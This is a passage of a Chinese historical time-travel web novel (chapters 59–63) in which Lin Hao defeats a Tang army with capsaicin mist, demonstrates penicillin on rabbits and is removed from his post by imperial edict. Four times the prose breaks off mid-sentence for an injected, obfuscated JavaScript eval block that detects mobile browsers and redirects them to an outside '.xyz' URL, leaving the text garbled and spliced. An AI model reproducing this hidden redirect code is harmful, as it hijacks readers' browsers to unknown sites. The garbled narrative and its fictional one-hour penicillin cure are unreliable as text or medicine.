隘口内的士兵们面面相觑,这到底算是打仗还是在搞接待?
正当所有人都被这种诡异的局面搞得不知所措的时候,突然有士兵开始打喷嚏。
“阿嚏!”一名趴在地上的士兵忽然打了个响亮的喷嚏。
紧接着,更多的士兵开始流泪、咳嗽,仿佛中了某种看不见的毒气。
“咳咳……这……这是什么味道?”
“我的眼睛……好辣……”
“有毒!快撤!快撤!”
第59章:来都来了,进城喝杯热水再聊?
隘口之内,滑倒的士兵还没来得及爬起来,此起彼伏的喷嚏声就毫无征兆地响了起来。
“阿嚏!”
一个趴在地上的士兵猛地打了个响亮的喷嚏,鼻涕眼泪瞬间糊了一脸。
这就像一个信号。
紧接着,“阿嚏!阿嚏!咳咳……”的声音在人群中迅速蔓延开来。
越来越多的士兵开始莫名其妙地流泪、咳嗽,仿佛中了某种看不见的邪术。
“怎么回事……这风里有东西……”
“我的眼睛!好辣!睁不开了!”
“咳咳……喉咙……喉咙像被刀子割一样……”
混乱的场面瞬间升级,从最初的滑稽摔跤,演变成了大规模的哀嚎。
帅帐前,侯君集的心猛地一沉。
他立刻意识到,这绝不是简单的风寒。
哪有风寒能让三万精锐在片刻之间全部失去战斗力的?
就在这时,一旁的长孙无忌脸色煞白,惊恐地指着隘口的方向大叫起来:“是瘟疫!是库查密报里提到的瘟疫!那种能腐蚀人体的绿色毒液!”
“瘟疫?”
“林浩要毒杀我们全军!”
“快跑啊!是毒气!”
长孙无忌的喊声在惊魂未定的军中引起了山崩海啸般的恐慌。
求生的本能压倒了一切,士兵们开始不顾一切地想要逃离这个该死的地方。
指挥中心内,林浩通过潜望镜看着外面乱成一锅粥的玄甲军,摇了摇头。
没文化,真可怕。
那份被篡改的阿骨打密报,本是想栽赃自己,现在倒成了长孙无忌自己吓自己的催命符。
他拿起操作台旁的话筒,对工程师下令:“三号方案,启动,让他们提神醒脑一下。”
工程师再次拉下一个杠杆。
隘口两侧山壁上,那些之前喷洒润滑液的管道系统,再次喷出大量无色无味的雾气。
这些雾气,正是林浩科学院的杰作——被高度稀释和雾化后的辣椒素溶液。
纯天然,无污染,就是劲儿有点大。
正在隘口内挣扎的玄甲军士兵,根本没注意到这些新出现的雾气。
当他们吸入第一口空气时,末日降临了。
“啊——!”
一名士兵突然捂住自己的脸,发出了凄厉的惨叫。
他的眼泪像开了闸的水龙头一样狂飙而出,鼻涕流进了嘴里都毫无察觉,喉咙里像是被灌进了一整壶的沸腾辣椒油,剧烈的灼烧感让他疯狂地咳嗽,恨不得把自己的肺都咳出来。
这种感觉迅速传染给了每一个人。
顷刻间,整个白狼口变成了人间地狱。
三万玄甲军,大唐最精锐的百战之师,此刻彻底失去了所有战斗力。
他们丢掉了武器,扔掉了盾牌,在湿滑的地面上打滚、哀嚎、哭泣。
眼泪、鼻涕、口水糊满了他们的脸,剧烈的咳嗽让他们连一句完整的话都说不出来。
这种看不见、摸不着,却能带来极致痛苦的攻击方式,给这些身经百战的士兵带来了远超刀光剑影的心理恐惧。
军心,在这一刻彻底崩溃了。
“妖法!这是妖法啊!”
“我不想死!放我出去!”
“救命……救命啊……”
哭喊声、咳嗽声、呕吐声混杂在一起,这里不再是战场,而成了一个巨大的病房。
百夫长张三看准时机,立刻带着他手下那几个早就通过气的弟兄,扯着嗓子,用尽全身力气,一边哭一边喊:
“是妖术!林浩会妖术啊!”
“将军!快带我们撤退吧!顶不住了!兄弟们都要死在这里了!”
他这一喊,成了压垮骆驼的最后一根稻草。
残存的军心被彻底击溃,恐慌如同瘟疫般蔓延。
后方阵中,侯君集看着自己引以为傲的百战雄师,此刻像一群无助的婴儿般在地上哭泣打滚,他感觉自己的世界观正在被无情地碾碎。
他征战一生,见过尸山血海,也见过坚城被摧。
可他从未见过如此诡异、如此憋屈的仗。
对手甚至没有露面,没有射出一支箭,没有动用一刀一枪,就让他的三万大军彻底瓦解。
“啊——!”
侯君集拔出佩剑,仰天发出一声充满了无尽愤怒与无力的怒吼。
他想冲上去,可湿滑的地面和前方那片“毒雾”让他寸步难行。
巨大的挫败感和无力感,让他这位常胜将军几近崩溃。
就在这时,那个该死的声音又通过山谷里的扩音系统响了起来,语气还是一如既往的诚恳。
“友情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391627|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提示,各位将士不必惊慌。此乃凉州科学院最新研制的‘醒神通窍散’,以多种名贵药材炮制而成,有活血化瘀、提神醒脑之奇效。”
“唯一的副作用就是效果有些上头,可能会导致短暂的涕泪横流、心肺灼热,实属正常药理反应。请勿惊慌,多喝热水,深呼吸即可缓解。”
“噗——”
侯君集听到这番话,一口老血差点喷出来。
醒神通窍散?
还多喝热水?
这他妈是人话吗?!
他见过**,没见过这么诛心的!
长孙无忌更是气得浑身发抖,指着山壁上的扩音喇叭,一个字也说不出来。
广播还在继续。
“现在,我方将进行环境清理,请各位将士原地休息,不要乱动,以免发生二次伤害。”
话音落下,隘口两侧的巨型鼓风机突然反向转动,强大的吸力瞬间形成,将隘口内的辣椒素气体源源不断地抽出,排向高空。
与此同时,上方的管道再次喷洒出大量的清水,如同人工降雨,开始“洗消”整个隘口。
随着辣椒素浓度降低和清水的冲刷,士兵们的症状开始迅速缓解。
几刻钟后,哀嚎声渐渐平息。
几乎所有玄甲军士兵都瘫倒在泥水里,大口大口地喘着粗气。
他们劫后余生地看着隘口上方,那个方向,是凉州城的方向。
在他们眼里,林浩已经不是什么叛贼,而是一个能呼风唤雨、掌控雷电的妖人,一个能让他们生不如死的魔鬼。
玄甲军的战斗意志,被彻底摧毁了。
侯君集和长孙无忌在军中的威信,也在这一刻一落千丈。
林浩完全掌控了局面。
然而,就在所有人都以为林浩会乘胜追击,或者至少会继续羞辱他们的时候,白狼口那坚固的铁栅栏,伴随着刺耳的金属摩擦声,竟然缓缓地打开了。
一条通道,出现在了玄甲军面前。
紧接着,一队手持白旗的凉州使者,迈着整齐的步伐,从隘口中走了出来,径直走向目瞪口呆的侯君集和长孙无忌。
为首的使者对着两人躬身一礼,不卑不亢地开口。
“我家都督有请。特邀侯将军与长孙大人入城一叙,参观指导,澄清误会。”
第60章:霉菌救兔子,青霉素出世
侯君集看着那个躬身行礼的凉州使者,脑子里还在嗡嗡作响。
刚才那场诡异到极点的交锋,让这位百战将军第一次对自己的世界观产生了怀疑。
"入城?"长孙无忌听到使者的话,立刻炸了**,"这明显是鸿门宴!侯将军,万万不可!"
"鸿门宴?"侯君集苦笑一声,指着周围还在咳嗽流泪的士兵们,"长孙大人,您觉得林浩如果真想杀我们,还需要设什么鸿门宴吗?"
这话说得长孙无忌哑口无言。
确实,刚才那一波操作下来,三万大军已经彻底没了战斗力。
林浩如果想动手,根本不需要多此一举。
侯君集擦了擦脸上的汗水,看向那名使者:“本将可以入城。"
"将军!"副将急忙劝阻。
"无妨。"侯君集摆摆手,”既然来了,总要弄清楚真相。况且现在这个局面,除了谈判,我们还有别的选择吗?"
长孙无忌咬牙切齿,但也明白侯君集说得对。
现在的情况,他们已经完全处于下风。
半个时辰后,凉州城内。
让侯君集意外的是,林浩并没有在都督府设宴,而是将"会场"选在了科学院的露天广场上。
广场四周黑压压站满了人,都是闻讯而来的凉州百姓。
更让侯君集惊讶的是,人群中还夹杂着不少穿着玄甲军军服的百夫长。
"这些是?"侯君集皱着眉头问道。
"哦,这些都是我邀请来旁听的玄甲军代表。"
林浩轻松地说道,“毕竟今天要澄清的误会,他们也有知情权。"
侯君集扫了一眼,看到了那个叫张三的百夫长,还有几个其他的熟面孔。
这些人现在看他的眼神都有些复杂。
"侯将军,长孙大人,请坐。“林浩指了指广场中央摆放的几把椅子。
这种当众对质的场面,让长孙无忌极其不爽,但现在也只能硬着头皮坐下。
”各位,今天把大家叫来,是为了澄清一些误会。"
林浩站在众人面前,声音通过扩音装置传遍整个广场,"首先,我想请教长孙大人一个问题。"
长孙无忌阴沉着脸不说话。
"根据你们的密报,我在凉州制造剧毒霉菌和腐蚀人体的绿色毒液,对吧?"
"正是!"长孙无忌冷哼一声,”你不要狡辩,人证物证俱在!"
"好。“林浩拍拍手,几名助手立刻抬上来一个木箱,”那就让大家看看,这所谓的腐蚀人体的绿色毒液,到底是什么东西。"
木箱打开,里面放着几个玻璃瓶,瓶子里装着绿色的液体。
侯君集和他的亲兵们看到这些绿色液体,本能地往后退了几步。
刚才在隘口的经历,让他们对任何可能有毒的东西都产生了心理阴影。
林浩拿起其中一瓶,在所有人惊恐的注视下,直接拔开塞子。
"都督小心!“李丽质在一旁提醒道。
"没事。“林浩笑了笑,然后从箱子里拿出一块生猪肉,将绿色液体滴了几滴上去。
众人屏息凝神地看着那块猪肉,等着看它被"腐蚀"的恐怖场面。
然而,猪肉并没有冒烟,也没有被腐蚀,只是散发出一股刺激性的味道。
这味道飘散开来,站在前排的几个玄甲军亲兵瞬间眼泪直流,开始剧烈咳嗽。
"这……这不是毒液?“侯君集瞪大眼睛。
"当然不是。“林浩举着那瓶绿色液体,"这叫浓缩辣椒素,是从辣椒里提取出来的天然物质。确实有强烈的刺激性,但对人体无害。顶多让你哭一鼻子,流几滴眼泪。"
广场上的百姓们发出窃窃私语声。这个解释,让很多人都松了一口气。
长孙无忌的脸色变得极其难看。他感觉到了一种不祥的预感。
"那霉菌呢?"长孙无忌咬牙道,"你敢说那些剧毒霉菌也是假的?"
"霉菌确实是真的。“林浩招招手,又有人抬上来一个玻璃箱子。
箱子里放着几只兔子,其中几只看起来奄奄一息,身上有明显的化脓伤口。
旁边则摆着一盘橘子,橘子上长满了绿色的霉菌。
看到这些霉菌,在场的人都不由得往后退了几步。
"这些就是密报中提到的剧毒霉菌。“林浩指着那些绿色的霉菌,”确实很可怕,对吧?"
长孙无忌得意地说,“林浩,你终于承认了!这些霉菌能致人死命,你培养它们就是想……"
"想救人。”林浩打断了他。
"什么?"
林浩没有回答,而是对李丽质点了点头。
李丽质走上前来,戴上手套,小心翼翼地从霉菌中刮下一些,放进一个小瓶子里,加入清水调制成培养液。
"公主这是在做什么?“侯君集问道。
"制药。“林浩简单地回答。
在所有人震惊的目光中,李丽质拿着注射器,将培养液注射到了其中一只奄奄一息的兔子体内。
"你们疯了!"长孙无忌跳了起来,"用剧毒霉菌毒害生灵,必遭天谴!"
侯君集也紧握剑柄,脸色凝重。
在他看来,这简直是在当众行妖术。
"长孙大人,您太激动了。“林浩摆摆手,拿出一叠厚厚的册子递给几位在凉州德高望重的老医师,"这些是我们为了研制抗感染药物,而进行的动物实验记录。每一次实验的过程、结果,都有详细记载。"
"诸位老先生,麻烦您们验证一下这些记录的真实性。"
几位老医
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391628|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师接过册子,仔细翻看起来。
他们都是凉州的名医,对各种病症都有丰富的经验。
看了一会儿,几人互相交换了一下眼神,都露出了震惊的表情。
"林都督,这些记录……"
其中一位老医师颤声道,“您真的在寻找治疗伤口感染的方法?”
"正是。“林浩点头,”诸位也清楚,无论是士兵还是百姓,很多人都是因为伤口感染而死。如果能找到治疗的方法,能救多少人的命?"
老医师们激动得浑身颤抖。
作为医者,他们最清楚伤口感染的可怕。
多少人明明伤势不重,却因为感染而丧命。
"可是……可是霉菌怎么可能治病?“一位医师疑惑地问。
"这个问题,一个时辰后就有答案。"
林浩看了看天色,”现在我们等等看,那只接受治疗的兔子会有什么变化。"
广场上陷入了诡异的安静。所有人都在等待着结果。
长孙无忌坐在椅子上,心里开始忐忑不安。
林浩的从容,让他感觉到了巨大的不安。
一个时辰后。
奇迹出现了。
那只接受了霉菌培养液注射的兔子,明显恢复了活力。
而那些没有接受治疗的兔子,已经有两只死去了。
广场上爆发出阵阵惊叹声。
"这……这怎么可能?“侯君集瞪大眼睛,看着那只活蹦乱跳的兔子。
林浩站起身,声音传遍整个广场:”各位,这种从霉菌中提取的神药,我将其命名为青霉素。它可以治疗各种因细菌感染而引发的炎症,能让无数因伤口感染而死的士兵和百姓重获新生。"
此言一出,全场皆惊。
那些玄甲军的百夫长们想到了自己死于伤口感染的战友,眼神瞬间变了。
他们看向林浩的目光,不再是敌视,而是带着某种难以言喻的复杂情绪。
侯君集看着那只兔子,手松开了剑柄。
他征战半生,见过太多因为伤口感染而死去的袍泽。
如果真有这样的神药……
长孙无忌如遭雷击,整个人僵在原地,面如死灰。
他意识到自己完全被阿骨打的情报误导了。
或者说,林浩的技术已经完全超出了他的理解范畴。
他扳倒林浩的最大依仗——"制造瘟疫"的罪名,在此刻土崩瓦解。
与此同时,遥远的北方草原,风雪交加。
一名衣衫褴褛、形容枯槁的吐谷浑士兵,连滚带爬地冲进了一座巨大的牙帐。
他跪在地上,对着帐中一位身披华贵狼皮大氅的男人,用尽最后一丝力气,发出了绝望的嘶吼:
“大人!唐军……唐军有天火相助!他们……他们还会释放瘟疫!”
第61章:侯君集倒戈
广场上的人群开始慢慢散去。
那些玄甲军的百夫长们三三两两地聚在一起,低声议论着刚才看到的一切。
侯君集站在原地,目光还停留在那只活蹦乱跳的兔子身上。
他征战半生,见过太多因为伤口感染而死去的袍泽。如果真有这样的神药...
”侯将军。"林浩走了过来,”既然来都来了,不如到处转转?我想您应该对凉州的情况挺好奇的。"
"转转?"侯君集回过神来。
"对啊,参观参观工坊,看看军队训练。”林浩摊摊手,“反正您也是来了解情况的,总比听别人汇报来得直观。”
侯君集沉吟片刻,"好。"
长孙无忌在一旁急了,”侯将军,咱们此行的任务......"
"任务就是调查真相。“侯君集打断了他,”既然要调查,就要实地看看。"
半个时辰后,侯君集站在凉州第一钢铁厂的巨大车间里,看着眼前的一切,整个世界观都在坍塌。
流水线上,十几名工人正在有条不紊地操作着各种他从未见过的机械。
红彤彤的钢铁在模具中成型,锤打声有节奏地响起,一把把制式横刀在他眼前诞生。
“这些刀的硬度如何?”侯君集拿起一把刚出炉的横刀,仔细端详着刀身上的纹路。
负责讲解的工匠师傅递过来一把长安武库监制造的标准横刀:“将军可以比较一下。”
侯君集将两把刀放在一起,用凉州制造的横刀轻轻一磕,长安的那把刀刃上立刻出现了一个明显的缺口。
这怎么可能?长安武库监集结了天下最优秀的工匠,他们制造的兵器一向是天下第一。
可现在,凉州这个边陲之地,居然能批量生产出更优质的武器?
侯君集心中涌起巨大的震撼,这种震撼不亚于刚才在白狼口经历的那场诡异战斗。
如果凉州真有这种实力,那么长孙无忌口中的“叛贼”说法,就显得格外可笑了。
“将军,请往这边走,下一站是水泥窑。”马周在一旁引路。
水泥窑的规模更加惊人。
巨大的旋转窑炉冒着白烟,工人们将石灰石和粘土按照精确的比例投入其中。
出炉的水泥粉末细腻均匀,散发着独特的气味。
“这就是您前些时日见识过的神奇建筑材料。”
马周指着一堵刚建成的样板墙,“将军可以试试这堵墙的坚固程度。”
侯君集走到墙前,用拳头重重锤击。
墙体纹丝不动,反倒是他的拳头隐隐作痛。
这种坚固程度,比夯土墙强出不知多少倍。
难怪吐谷浑的大军无法攻破凉州,有了这样的建筑技术,凉州简直就是一座坚不可摧的要塞。
“这些技术......都是林都督研发的?”侯君集问道。
“不仅如此。”马周脸上露出敬佩的神情,“都督还设计了完整的工艺流程,培训了所有工匠。如今凉州有十几家这样的工坊,都能独立生产。”
从钢铁厂出来,侯君集又参观了纺织厂。
看着那些高速运转的纺纱机和织布机,他彻底明白了凉州财富的来源。这样的生产效率,一天就能织出普通工匠十天的产量。
最让侯君集震撼的,是学校里的那些孩子。
几十个年纪不大的牧民子弟,正在跟着先生朗读《千字文》。
他们的声音清脆嘹亮,稚嫩的脸庞上写满了对知识的渴望。
“这些孩子原本都是游牧民,居无定所,食不果腹。”
陪同参观的老师介绍道,“自从都督开办学堂,他们不仅有书读,还能学到各种实用技能。”
侯君集看着这些孩子,想起了自己征战时见过的那些满脸菜色、瘦骨嶙峋的牧民娃娃。
短短几年时间,竟然发生了如此巨大的变化。
这还是叛乱吗?这明明是德政啊!
参观结束后,侯君集独自走在凉州城的街道上。
街道两旁商铺林立,来往行人脸上都带着淳朴的笑容。
牧民和汉人和睦相处,没有一丝紧张气氛。
这时,百夫长张三悄悄走到他身边。
“将军,属下有要事禀报。”张三左右看了看,压低声音说道。
“何事?”
张三从怀中掏出一份厚厚的文书:“这是弟兄们联名写的万民书。”
侯君集接过文书展开一看,顿时愣住了。
密密麻麻的血手印布满了整张纸,上面是数千名玄甲军士兵的联名**。
“恳请将军向陛下澄清误会,林都督乃我大唐忠臣,绝无叛逆之心......”
“弟兄们还请将军将青霉素带回长安,救治更多袍泽......”
“凉州百姓安居乐业,实为我大唐盛世之象,不应受兵戈之祸......”
一行行血字,一个个手印,每一个字都重若千钧。
侯君集的手微微颤抖,这份万民书的分量,比千
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391629|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
军万马还要沉重。
“弟兄们都看在眼里。”
张三继续说道,“林都督治理凉州,让百姓富足,让牧民归心,还研制出了能救命的神药。这样的人怎么可能是叛贼?”
侯君集沉默良久。
他戎马半生,最清楚什么是民心所向。
如果强行执行长孙无忌的命令,不仅会毁掉一个繁荣的凉州,更可能激起兵变。
就在这时,一名亲兵匆忙跑来:“将军,长孙大人派信使出营,被牧民巡逻队拦下了。”
“信使?”侯君集皱起眉头,“他要给谁送信?”
亲兵递过来一封信件:“信使说是要送给军中的校尉们,但被图鲁带人截获了。”
侯君集接过信件,刚看了几行,脸色瞬间变得铁青。
信中,长孙无忌命令他安插在军中的心腹,想办法制造混乱,甚至可以“误伤”几个凉州百姓,以激起冲突,逼迫侯君集不得不动手。
“这个老匹夫!”侯君集握拳捏得咔咔作响。
他终于明白了,长孙无忌此行的真正目的根本不是为国除害,而是为了一己私利。
自己堂堂大将军,竟然被当成枪使了!
“传令!”侯君集怒吼道,“立即将长孙无忌及其所有心腹‘保护’起来,不得擅离营地半步!”
“是!”亲兵立刻领命而去。
张三看着将军的反应,心中暗自松了口气。
看来他们的努力没有白费,侯将军终于看清了长孙无忌的真面目。
夜幕降临,都督府内。
林浩正在研究最新的实验数据,马周急匆匆走了进来:“都督,侯君集软禁了长孙无忌。”
“意料之中。”林浩头也不抬,“侯君集是个明白人,知道什么是对错。”
“那现在局面如何?”
“我们完全掌控了主动权。”林浩放下手中的资料,“长孙无忌失去了军权,侯君集又不愿与我们为敌,这场危机基本解除了。”
就在这时,城门方向传来急促的马蹄声。
一名守城士兵飞奔进来:“报!有皇家特使求见!”
林浩和马周对视一眼,都感到了一丝不寻常的气息。
“什么特使?”马周问道。
“特使手持金牌令箭,说是陛下派来传旨的。”守城士兵回答道。
林浩站起身,走到窗边望向城门方向。
月光下,一个身穿黄袍的身影正策马而来,手中高举的金牌在月光下闪闪发光。
第62章:圣旨封侯?李二这是要釜底抽薪
卯时,天刚蒙蒙亮。
凉州城南门外的空地上,却已是人山人海。
玄甲军的阵列如黑铁浇筑,沉默地矗立在西侧;凉州守军则一身戎装,笔直地站在东面。
两军中间,是闻讯而来的凉州百姓和归附牧民,他们脸上写满了紧张与不安,交头接耳的议论声汇成一片嗡嗡的低鸣。
所有人的目光,都聚焦在场地中央那个临时搭建的高台上。
高台上,宫中来的天使魏进一身锦袍,手捧一卷明黄,神情肃穆。
“都督,这阵仗……怕是来者不善。”
马周凑到林浩身边,声音压得极低,手心里全是冷汗。
林浩打了个哈欠,一副没睡醒的模样,浑不在意地扫了眼全场。
不远处,侯君集面色凝重,手一直按在腰间的佩剑上。
而被两名玄甲军“护送”过来的长孙无忌,则一扫前几日的颓丧,脸上挂着一抹毫不掩饰的冷笑。
昨夜,魏进已经私下与他通过气,他知道,自己翻盘的时候到了。
李丽质站在林浩身侧,漂亮的手紧紧攥着衣角,她总觉得,今天的圣旨不会那么简单。
“吉时已到!”
魏进尖细的嗓音猛地拔高,瞬间压过了所有的嘈杂。
“肃静!圣旨到——!”
“吾皇万岁万岁万万岁!”
山呼海啸般的声音响起,黑压压的人群齐刷刷地跪了下去。
唯有林浩,依旧懒洋洋地站着,只是象征性地拱了拱手。
这个动作在跪倒的人群中,显得格外扎眼。
长孙无忌看着这一幕,眼底的寒意更甚。
魏进清了清嗓子,缓缓展开手中的圣旨,用一种抑扬顿挫的语调高声诵读:
“朕闻凉州都督林浩,励精图治,教化四方,功在社稷。创‘青霉素’神药,救万民于水火;发明风机、水泥等神器,强我大唐边防;归化吐谷浑部落,拓我**疆土!桩桩件件,功勋卓著,朕心甚慰!”
圣旨的前半段,全是褒奖之词,一句比一句说得漂亮。
跪在地上的百姓和士兵们听到这里,脸上的紧张渐渐褪去,取而代之的是抑制不住的喜悦和自豪。
“我就说嘛!林都督是好官!陛下是圣明的!”
“太好了!咱们凉州的好日子还在后头呢!”
侯君集也松了口气,脸上露出了欣慰的表情。
魏进顿了顿,似乎很满意现场的气氛,接着念道:
“朕心大悦,特此加封!封凉州都督林浩为——凉州侯!食邑三千户,赐黄金千两,锦缎百匹,良马五十匹!”
“轰”的一声!
人群彻底沸腾了!
“侯爷!林都督成侯爷了!”
“万岁!林侯爷千岁!”
百姓们激动地呐喊着,声浪一波高过一波,几乎要将整个天空掀翻。封侯!这可是光宗耀祖的无上荣耀!
李丽质的脸上也绽放出灿烂的笑容,为林浩感到由衷的高兴。
唯有长孙无忌,嘴角的冷笑愈发浓郁,那神情仿佛在看一群即将被宰杀的羔羊。
林浩依旧没什么表情,只是轻轻挑了下眉毛。
他太清楚李世民的套路了。
捧得越高,就是为了接下来摔得越狠。
果然,就在全场气氛达到顶峰之时,魏进的语调陡然一转,变得冰冷而尖锐:
“着,新晋凉州侯林浩,即刻卸任凉州都督一职,三日内与侯君集将军完成交接。而后,随朕使臣即刻回京领赏,不得有误!钦此——!”
最后四个字,如同四记重锤,狠狠砸在每个人的心上。
前一秒还震耳欲聋的欢呼声,在这一刻戛然而止。
整个世界,仿佛被按下了静音键。
数万人的场地,落针可闻。
百姓们脸上的笑容僵住了,士兵们眼中的光彩黯淡了,侯君集的表情从欣慰变成了震惊和不解。
明升暗降!
这是赤裸裸的明升暗降!用一个侯爵的虚名,换掉林浩在凉州经营数年的一切!
“噗嗤——”
一声压抑不住的笑声打破了死寂。
长孙无忌再也憋不住了,他放声大笑起来,笑得前仰后合,前几日所受的**在这一刻尽数奉还,畅快淋漓。
“林浩,接旨啊。”魏进看着面无表情的林浩,皮笑肉不笑地提醒。
林浩上前一步,双手接过那卷沉甸甸的圣旨,脸上终于露出一丝笑容,他对着魏进,慢悠悠地开口:
“圣旨写得不错,文采斐然。有劳魏公公跑这一趟,替我谢过陛下隆恩。”
“不过,”林浩话锋一转,“圣旨来得突然,凉州事务繁杂如麻,尤其是军务、工坊、民生,哪一样都不能出岔子。三日交接,怕是有些仓促。还请魏公公通融一二,容我与侯将军仔细交接,免得出了纰漏,辜负了陛下的信任。”
魏进眼皮跳了跳,点头应允:“林侯爷言之有理。三日便三日,三日后,咱家在城外恭候侯爷大驾。”
宣旨结束,长孙无忌的“保护”也随之解除。他整理了一下衣冠,重新端起那副国舅爷的架子,走到侯君集面前。
“侯将军,前几日多有得罪。不过你也是奉命行事,本相,岂会怪罪?”
说完,他看都不再看侯君集一眼,径直走向林浩,居高临下地开口:
“林侯爷,恭喜高升啊!从一介都督到封妻荫子的侯爷,这可是青云直上,羡煞旁人呐!”
林浩懒洋洋地瞥了他一眼:“长孙大人客气。”
“不客气!”长孙无忌声音陡然拔高,环视四周,对着所有百姓和士兵朗声道,“林侯爷即将赴京高就,本相作为朝廷监军,理应协助侯爷和侯将军做好交接!尤其是那些工坊,水泥、钢铁、纺织,皆是国之重器,断不能有丝毫差池!从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391630|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
即刻起,本相将亲自带人盘点清查,以免国有资产流失!”
这话说得冠冕堂皇,在场的百姓和工匠们却听得脸色大变。
这哪是盘点,这分明是明抢!工坊是他们的饭碗,要是落到长孙无忌手里,大家的好日子就到头了!
侯君集眉头紧锁,却无法反驳。长孙无忌的理由,占着一个“理”字。
就在长孙无忌以为自己彻底拿捏住场面时,林浩却像是没听见他的话一样,转身对着侯君集,做了个“请”的手势。
“侯将军,三日时间紧迫,咱们这就开始交接军务吧。别让陛下等急了。”
这种彻底的无视,让长孙无忌感觉一拳打在了棉花上,一张脸瞬间涨成了猪肝色。
……
当天下午,都督府。
马周火烧眉毛般地冲了进来,话都说不利索了。
“都、都督!大事不好了!长孙无忌那老匹夫,带着他的人去钢铁厂了!说要搞什么资产盘点,被咱们的护卫拦在门外,现在正闹呢!”
林浩正慢条斯理地整理着一沓图纸,闻言才抬起头,脸上竟带着一丝玩味的笑意。
“哦?闹起来了?”
“可不是嘛!”马周急得直跺脚,“护卫队长说,没有您的手令,天王老子来了也不准进!长孙无忌气得在门口破口大骂,说咱们要**!都督,他这是要掏空咱们的家底啊!这可怎么办?”
“老马,别慌,坐下喝口茶。”林浩给他倒了杯水,不急不缓地开口,“他想要,就让他拿去好了。”
“什么?!”马周以为自己听错了,差点把茶杯捏碎。
“你见过谁家被贼掏空了,还乐呵呵地帮贼点钱的?”林浩敲了敲桌上的图纸,笑得像只狐狸,“他不是想要工坊吗?行,咱们就送他一份大礼。”
“都督,您这是……”
“我走之前,得给咱们这些宝贝疙瘩来个‘终极升级’。”林浩拿起一张图纸,在马周眼前晃了晃,“咱们给他留一个金光闪闪的饭碗,但他得有那个本事端起来才行。老马,传我命令,让所有工坊的核心工匠,今晚到科学院开个会。”
与此同时,凉州第一钢铁厂大门外。
长孙无忌带着几十名心腹,被十几个手持横刀的凉州护卫拦住,双方剑拔**张。
“放肆!你们是要**吗?”长孙无忌指着为首的护卫队长,手指都在哆嗦,“本相乃朝廷监军,奉旨盘点!你们敢拦我?!”
护卫队长面无表情,像一尊铁塔,声音没有一丝波澜。
“长孙大人,没有都督手令,任何人,不得入内。”
“规矩?我就是规矩!”长孙无忌气急败坏,猛地一脚踹在紧闭的钢铁大门上。
“哐——!”
一声巨响,震得他脚底发麻,而那扇大门,纹丝不动。
护卫队长冷冷地吐出两个字:“请回。”
第63章:我都摊牌了,你还装?
钢铁厂门外,长孙无忌被十几个凉州护卫围在中间,脸色铁青如锅底。
“你们这是要**吗?”
长孙无忌指着为首的护卫队长,声音都在颤抖,“本相乃朝廷监军,岂是你们能阻挡的?”
护卫队长面无表情:“长孙大人,没有都督手令,任何人不得入内。这是规矩。”
“规矩?什么狗屁规矩!”
长孙无忌气得浑身发抖,“给我冲进去!谁敢阻拦,格杀勿论!”
他身后跟来的几十名玄甲军士兵面面相觑,没有人敢动手。
刚才在白狼口被辣椒素支配的恐惧还历历在目,现在谁也不想再次体验林浩的手段。
眼看局面僵持,远处传来急促的脚步声。
侯君集带着几名亲兵匆匆赶到现场,看到剑拔**张的局面,脸色瞬间阴沉下来。
“这是怎么回事?”侯君集沉声问道。
长孙无忌见到救星,立刻恶人先告状:“侯将军,你来得正好!林浩意图私藏朝廷产业,抗拒监军盘点,这是公然叛逆!”
“按律当斩!”长孙无忌指着护卫队长,“立即拿下这些抗命之徒!”
侯君集皱眉看向护卫队长,刚要开口,身后又传来一阵脚步声。
魏进带着几名太监小跑过来,刚才的动静把他也惊动了。
作为宫中特使,任何可能影响到皇帝旨意执行的事情,他都必须关注。
“出什么事了?”魏进尖细的声音响起。
长孙无忌眼前一亮,立刻向魏进行礼:“魏公公,您来得正好。林浩公然违抗朝廷,拒绝产业交接,这是对陛下的大不敬!”
魏进看看现场的情况,心里也开始盘算。
如果真的是林浩抗命,那他作为宣旨使者,必须要有所表态。
